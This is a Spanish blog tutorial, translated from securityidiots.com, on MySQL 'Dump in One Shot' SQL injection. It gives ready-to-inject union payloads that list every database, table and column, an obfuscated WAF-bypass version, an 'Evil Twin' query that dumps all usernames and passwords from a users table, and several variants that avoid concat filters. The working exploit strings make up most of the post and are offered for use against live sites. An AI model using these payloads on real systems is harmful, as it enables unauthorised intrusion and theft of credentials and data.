martes, 6 de enero de 2015

DIOS (Dump in One Shot) Explicado

Buenas les traigo este pequeño Tutorial es sobre seguridad web, este tutorial en realidad no es mio, pero es una traduccion, les dejare la fuente al final :)



No se si hay una explicacion para DIOS por ahora o hay una mejor explicacion que en la forma en la que la voy a explicar, pero se que muchos de los inyectores (Inyeccion SQL) estan en busca de él, e incluso he estado recibiendo muchas solicitudes para escribir una explicacion de DIOS. Asi que aqui comenzaremos la compresion de DIOS y como funciona realmente. Primero vamos a hacer lo mas facil e iremos aumentando el nivel de complejidad.
Para entender DIOS tienes que leer el tutorial por lo menos dos veces en plena concentracion. Si usted cree que lo va seguir paso a paso y comprendera al instante esta en el lugar equivocado. Asi que si realmente quieres entenderlo debes leerlo cuidadosamente. Aqui esta una consulta basica que nos da todas las bases de datos:

(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.schemata)where (@a)in (@a:=concat(@a,schema_name,'<br>'))))a)

La consulta dada anteriormente nos dara todas las bases de datos en un solo disparo. Asi que vamos a tratar de comprender como funciona realmente, lo que tenemos que entender primero es la parte roja de la consulta. Pero antes de eso, tenemos que entender el uso de la clausula IN en una declaracion SQL.

select * from tablename where name in ('inj3ct0r','Zenodermus','Security','Idiots')

La declaracion anterior especifica extraer todos los registros desde la tabla (tablename) donde el valor name es bien 'inj3ct0r', o 'Zenodermus', o 'Security', o 'Idiots', que tambien pueden ser escritos de otra manera mediante el uso de OR como se indica a continuacion:

select * from tablename where name='inj3ct0r' or name='Zenodermus' or name='Security' or name='Idiots';

La salida para ambas declaraciones es la misma. Asi que vamos a pasar de nuevo a DIOS asi podemos ver la declaracion mas profudamente.

(select (@a) from (information_schema.schemata)where (@a)in (@a:=concat(@a,schema_name,'<br>')))

Aqui lo que sucede es que estamos seleccionando una variable @a desde information_schema.schemata y entonces concatenamos todos los nombres de las bases de datos (schema_name) en la clausula IN.  Asi que lo que en realidad sucede es que todos los nombres de las bases de datos (schema_name) vendran en la clausula IN y obtendran seleccionado todo lo que existe en la tabla information_schema.schemata.  Como vemos arriba en la parte de rojo @a se concatena a si mismo dentro de un bucle. Cada vez "@a,schema_name,'<br>'" se agregara a @a. Ahora vamos a ver la parte restante.

(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.schemata)where (@a)in ((@a:=concat(@a,schema_name,'<br>'))))a)

Ahora supongo que usted puede comprender que estamos seleccionando lo concatenado en la variable @a en la primera declaracion. Ahora vamos a pasar a nuestra proxima consulta que nos da todos los nombres de la tabla en un solo disparo. Una cosa mas, la razon por la que utilizamos esta consulta se debe a que GROUP_CONCAT no permite mas de 1024 caracteres, por lo cual no podriamos extraer mucha informacion usandolo. Hay otra derivacion para la limitacion de los 1024 caracteres que es discutido en Death Row Injection.


(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.tables)where (@a)in (@a:=concat(@a,table_name,'<br>'))))a)

La consulta anterior nos dara todos los nombres de las tablas de la misma manera que obtuvo los nombres de las bases de datos, pero esta vez tenemos que añadir una condicion para eliminar todas las tablas que pertenecen a information_schema, la consulta siguiente es para esto:

(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.tables)where table_schema!='information_schema' and(@a)in (@a:=concat(@a,table_name,'<br>'))))a)


Ahora la consulta nos esta dando todos los nombres de las tablas sin incluir las tablas de information_schema. Pero una vez mas hay un problema, es que no podemos ver que tabla pertenece a que base de datos por lo que tambien podemos incluir table_schema cada vez que concatenamos.

(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.tables)where table_schema!='information_schema' and(@a)in (@a:=concat(@a,table_schema,0x3a,table_name,'<br>'))))a)

Ahora tenemos todos los nombres de las bases de datos y los nombres de las tablas, pero tenemos una mejor forma de obtener todos los nombres de las bases de datos, los nombres de las tablas y los nombres de las columnas junto con la tabla information_schema.columns.

(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.columns)where table_schema!='information_schema' and(@a)in (@a:=concat(@a,table_schema,' > ',table_name,' > ',column_name,'<br>'))))a)

Ahora vamos a ver un reto comun que es posteado para extraer todos los nombres de las tablas que comienzan con 'shit_' por lo que en ese caso podemos agregar otra condicion en la consulta mostrada.

(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.columns)where table_schema!='information_schema' and table_name like 'shit_%' and(@a)in (@a:=concat(@a,table_schema,' > ',table_name,' > ',column_name,'<br>'))))a)


De esta manera podemos conseguir lo que queremos en la salida usando el metodo DIOS. Algunas consultas mas complicadas seran discutidas en la proxima parte de la explicacion de DIOS.

Autor : Zenodermus Javanicus
Fecha : 2014-06-03


En este tutorial vamos a continuar con nuestra discusion sobre DIOS, en este tutorial veremos como obtener una mejor salida, vamos a extraer los nombres de las bases de datos, nombres de las tablas, de las columnas de las tablas y luego tambien vamos a jugar con algunos registros. Al final de este tutorial vamos a obtener algo como lo siguiente:



En primer lugar vamos a comenzar con nuestra consulta base donde lo dejamos en el primer tutorial. Extraer todos los nombres de las bases de datos, tablas y columnas de todas las bases de datos distintas a information_schema.

(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.columns) where (table_schema!='information_schema') and(0x00)in (@a:=concat(@a,0x3c62723e,table_schema,' :: ',table_name,' :: ',column_name))))a)

Como se puede ver la condicion de alli es table_schema!='information_schema' lo que significa que las tablas y columnas de information_schema no seran mostradas. Puede probar la consulta anterior Aqui

Pero como podemos ver que estamos recibiendo el nombre de la base de datos y el nombre de la tabla en cada registro. Entonces vamos a agregar una condicion que va escribir el nombre de la base de datos y la tabla cuando esto cambie.

(select (@a) from (select(@a:=0x00),(@tbl:=0x00),(select (@a) from (information_schema.columns) where (table_schema!='information_schema') and(0x00)in (@a:=concat(@a,0x3c62723e,if( (@tbl!=table_name), Concat(0x3c62723e,table_schema,' :: ',@tbl:=table_name,'',column_name), (column_name))))))a)

Usted puede probar la consulta anterior Aqui. En la consulta anterior puede ver una parte verde que es la declaracion de la variable @tbl y la parte roja que es nuestra condicion IF. La sintaxis basica es IF(,(hacemos esto si la condicion es Verdad),(Hacemos esto si la condicion es Falsa)), asi que arriba se puede ver (@tbl!=table_name) es la condicion que comprueba si @tbl no es igual al nombre de la tabla actual, lo que significa que cada vez que el nombre de la tabla sea verdad sera cambiado, ahora vamos a ver que pasara cuando el nombre de la tabla sea verdad: 
"Concat(0x3c62723e,table_schema,' :: ',@tbl:=table_name,'<br>',column_name)"

Aqui estamos mostrando el nombre de la base de datos, nombre de la tabla y nombre de la columna si la condicion es cierta. Si la condicion es falsa solo mostramos el nombre de la columna que es lo suficientemente clara ("column_name"). Ahora vamos a pasar a nuestra siguiente tarea que es mostrar el numero de registros de cada tabla  y que tenemos que mostrar cada vez que el nombre de la tabla sea mostrado, lo que significa que la incluiremos dentro de la parte Verdadera.

(select (@a) from (select(@a:=0x00),(@tbl:=0x00),(@tbl_sc:=0x00),(select (@a) from (information_schema.columns) where (table_schema!='information_schema') and(0x00)in (@a:=concat(@a,0x3c62723e,if( (@tbl!=table_name), Concat(0x3c62723e,@tbl_sc:=table_schema,' :: ',@tbl:=table_name,' (Rows ',(select table_rows from information_schema.tables where table_schema=@tbl_sc and table_name=@tbl),')
',column_name), (column_name))))))a)


Puede probar la consulta anterior Aqui. En la parte verde se puede ver que declaramos una vez mas una o mas variables  (@tbl_sc:=0x00) y luego guardamos table_schema dentro de la variable @tbl_sc:=table_schema, por lo que ahora tenemos dos variables @tbl y @tbl_sc ahora podemos extraer facilmente los registros de cada tabla usandolos. Para extraer el numero de registros se utilizo la parte roja que es (select table_rows from information_schema.tables where table_schema=@tbl_sc and table_name=@tbl). Si conoces SQL basico, entonces se puede entender facilmente esta consulta. Ahora la ultima parte es la adicion de un recuento delante de cada nombre de la tabla.

(select (@a) from (select(@a:=0x00),(@tbl:=0x00),(@tbl_sc:=0x00),(@num:=0),(select (@a) from (information_schema.columns) where (table_schema!='information_schema') and(0x00)in (@a:=concat(@a,0x3c62723e,if( (@tbl!=table_name), Concat(0x3c62723e,@num:=(@num+1),0x2920,@tbl_sc:=table_schema,' :: ',@tbl:=table_name,' (Rows ',(select table_rows from information_schema.tables where table_schema=@tbl_sc and table_name=@tbl),')<br>',column_name), (column_name))))))a)

Puede probar la consulta anterior Aqui. Ahora podemos ver la parte verde nosotros hemos declarado la variable @num y la hemos inicializado con 0. Luego en la parte roja que se encuentra bajo la condicion verdadera, donde los nombres de las tablas se estan mostrando nosotros mostramos a variable y le vamos agregando 1 cada vez que se muestra. Asi que aqui hemos terminado con la consulta completa DIOS. Ahora vamos a añadir un poco de WAF Bypass y alguna otra informacion basica relacionada a la base de datos para hacerlo mas usable.

(/*!12345%73elect*/(@a)/*!12345%66rom*/(/*!12345%73elect*/(@a:=0x00),(@tbl:=0x00),(@tbl_sc:=0x00),(@num:=0),(/*!12345%73elect*/(@a)/*!12345%66rom*/(/*!12345`%69nformation_%73chema`.`%63olumns`*/)%77here (`%74able_schema`!=/*!12345'%69nformation_schema'*/)and(0x00)in(@a:=%63oncat%0a(@a,0x3c62723e,if( (@tbl!=/*!12345`table_name`*/), %43oncat%0a(0x3c62723e,@num:=(@num%2b1),0x2920,@tbl_sc:=`table_schema`,0x203a3a20,@tbl:=`%74able_name`,0x2028526f777320,(/*!12345%73elect*/`table_rows`from/*!12345`%69nformation_schema`.`tables`*/where table_schema=@tbl_sc and/*!12345`%74able_name`*/=@tbl),0x293c62723e,/*!12345`%63olumn_name`*/), (/*!12345`%63olumn_name`*/))))))a)

Puede probar la consulta anterior Aqui. En la consulta anterior acabamos de añadir un poco de bypass WAF y ademas codificamos todas las cadenas en hexadecimal. Por ultimo agregaremos un poco de HTML, nuestro nombre, base de datos, version, etc. En nuestra consulta utilizando Concat.

COncaT%0a(0x3c62723e3c62723e3c2f63656e7465723e3c2f6469763e3c2f6469763e3c2f7461626c653e496e6a3363743364206279205a656e3c62723e3c666f6e7420636f6c6f723d677265656e3e56657273696f6e203a3c2f666f6e743e20,version(),0x3c62723e3c666f6e7420636f6c6f723d677265656e3e4461746162617365203c2f666f6e743e3a20,database(),0x3c62723e3c666f6e7420636f6c6f723d677265656e3e55736572203c2f666f6e743e3a,user(),(/*!12345%73elect*/(@a)/*!12345%66rom*/(/*!12345%73elect*/(@a:=0x00),(@tbl:=0x00),(@tbl_sc:=0x00),(@num:=0),(/*!12345%73elect*/(@a)/*!12345%66rom*/(/*!12345`%69nformation_%73chema`.`%63olumns`*/)%77here (`%74able_schema`!=0x696e666f726d6174696f6e5f736368656d61)and(0x00)in(@a:=%63oncat%0a(@a,0x3c62723e,if( (@tbl!=/*!12345`table_name`*/), %43oncat%0a(0x3c2f666f6e743e3c666f6e7420636f6c6f723d477265656e3e3c62723e,@num:=(@num%2b1),0x29203c666f6e7420636f6c6f723d2723463746453245273e204461746162617365203a20,@tbl_sc:=`table_schema`,0x205b205461626c65204e616d65203a20,@tbl:=`%74able_name`,0x5d2028526f777320,(/*!12345%73elect*/`table_rows`from/*!12345`%69nformation_schema`.`tables`*/where table_schema=@tbl_sc and/*!12345`%74able_name`*/=@tbl),0x293c666f6e7420636f6c6f723d7265643e3c62723e,/*!12345`%63olumn_name`*/),concat%0a(/*!12345`%63olumn_name`*/))))))a))

Puede probar la consulta Aqui. Aqui esta nuestra consulta final. Es decir lo minimo que podemos obtener de ella, ya que algunos chicos la utilizan para enumerar tambien las columnas. Pero esto no sera explicado aqui. Si usted comprende como hicimos esta consulta, entonces puede facilmente agregar eso. Espero que hayan disfrutado la lectura.

Autor : Anas Ali
Fecha : 2014-06-17


Evil Twin Injection

En este tutorial vamos a aprender como obtener todos los datos de una pagina web de una manera muy rapida mediante la Evil twin Injection. 

Mientras usamos inyeccion SQL de manera manual para obtener la base de datos de algun sitio a veces es realmente complicado o un dolor en el culo! obtener los datos de la manera larga por lo cual utilizaremos Evil Twin Injection para esos momentos.


En primer lugar vamos a contar un poco de historia sobre esta inyeccion. Mientras estaba buscando algo para evadir GROUP_CONCAT la cual limita solo a 1024 caracteres. He encontrado un truco mediante una inyeccion usando subconsultas. Bueno aunque es algo viejo. 

Pero esto me dio una idea para completar toda la inyeccion mediante subconsultas y aqui encontre el truco para completar la devolucion de toda la base de datos en solo dos consultas maliciosas.

Asi que nosotros vamos a inyectar dos subconsultas maliciosas despues de conseguir las columnas usando order by.

Por ejemplo nuestra inyeccion es:

1' union select 1,2,3,4#

Y estamos inyectando en la columna 4.

A continuacion vamos a inyectar la primera consulta en la inyeccion para obtener todas las bases de datos, seguido de todas las tablas y seguido de todas las columnas.

La consulta sera:

-1' union select 1,2,3,(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x3C,0x62,0x72,0x3E,' [ ',table_schema,' ] > ',table_name,' > ',column_name))))a)#

Ahora despues de obtener los datos completos con un solo disparo! son mostrados abajo:

 
En la primera columna es el nombre de la base de datos, la segunda es el nombre de la tabla y la tercera es el nombre de la columna. 

Asi que nuestra segunda consulta esta lista para ser inyectada:

-1' union all select (select (@) from (select(@:=0x00),(select (@) from (users) where (@)in (@:=concat(@,0x3C,0x62,0x72,0x3E,' [ ',username,' ] > ',pass,' > '))))a)#

Y la consulta anterior le mostrara todos los nombres de usuarios (username) y contraseñas (pass) de la tabla usuarios (users).

Autor : Zenodermus Javanicus
Fecha : 2014-03-25


DIOS Inyecciones.

En este post nosotros conoceremos un poco mas sobre DIOS e introduciremos diferentes sabores en el.

USO de DIOS: Solo hay que poner el codigo en alguna columna vulnerable.

Como muchos de ustedes han visto esta es la primera consulta DIOS:

(select(@)from(select(@:=0x00),(select(@)from(information_schema.columns)where(@)in(@:=concat(@,0x3C62723E,table_name,0x3a,column_name))))a)

Poc


Por encima es una pieza de codigo hecha por Profexer un hacker Ruso. 

A continuacion podemos ver otro DIOS por Dr.Z3r0

(select(select concat(@:=0xa7,(select count(*)from(information_schema.columns)where(@:=concat(@,0x3c6c693e,table_name,0x3a,column_name))),@)))

Poc

El siguiente DIOS se puede utilizar cuando el WAF esta jodiendo realmente bloqueando concat, la solucion esta hecha por M@dBl00d

(Select export_set(5,@:=0,(select count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2))

Poc

El siguiente DIOS esta creado por Zenodermus Javanicus lo mismo evita el concat en un WAF, le permite añadir 9 columnas sin ninguna modificacion y probablemente sea el DIOS mas corto:

make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@)

Poc


Autor : Zenodermus Javanicus
Fecha: 2014-07-21
 



Fuente: http://www.securityidiots.com

No hay comentarios:

Publicar un comentario